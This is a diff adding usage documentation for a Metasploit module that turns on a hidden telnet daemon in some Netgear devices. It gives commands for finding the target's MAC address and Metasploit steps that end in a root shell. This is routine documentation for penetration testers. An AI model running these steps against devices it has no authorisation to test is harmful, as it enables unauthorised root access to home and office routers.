+Several models of Netgear devices hav ea hidden telnet daemon that can be
+enabled for remote LAN users by sending a 'magic packet' to the device. 
+Upon successful connect, a root shell should be presented to the user.

 ## Setup
 
-1. Buy a NETGEAR device
+A MAC address is required for exploitation.  To determine the MAC address of the device:
+
+1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]```
+2. Get the MAC: ```arp -an [IP]```
+
+## Exploitation 
+
+1. Make sure you have a vulnerable device
+2. Start metasploit
+3. ```use exploit/linux/telnet/netgear_telnetenable```
+4. ```set rhost [IP]```
+5. ```set mac [MAC Address]```
+6. ```exploit```
+7. Enjoy a root shell!
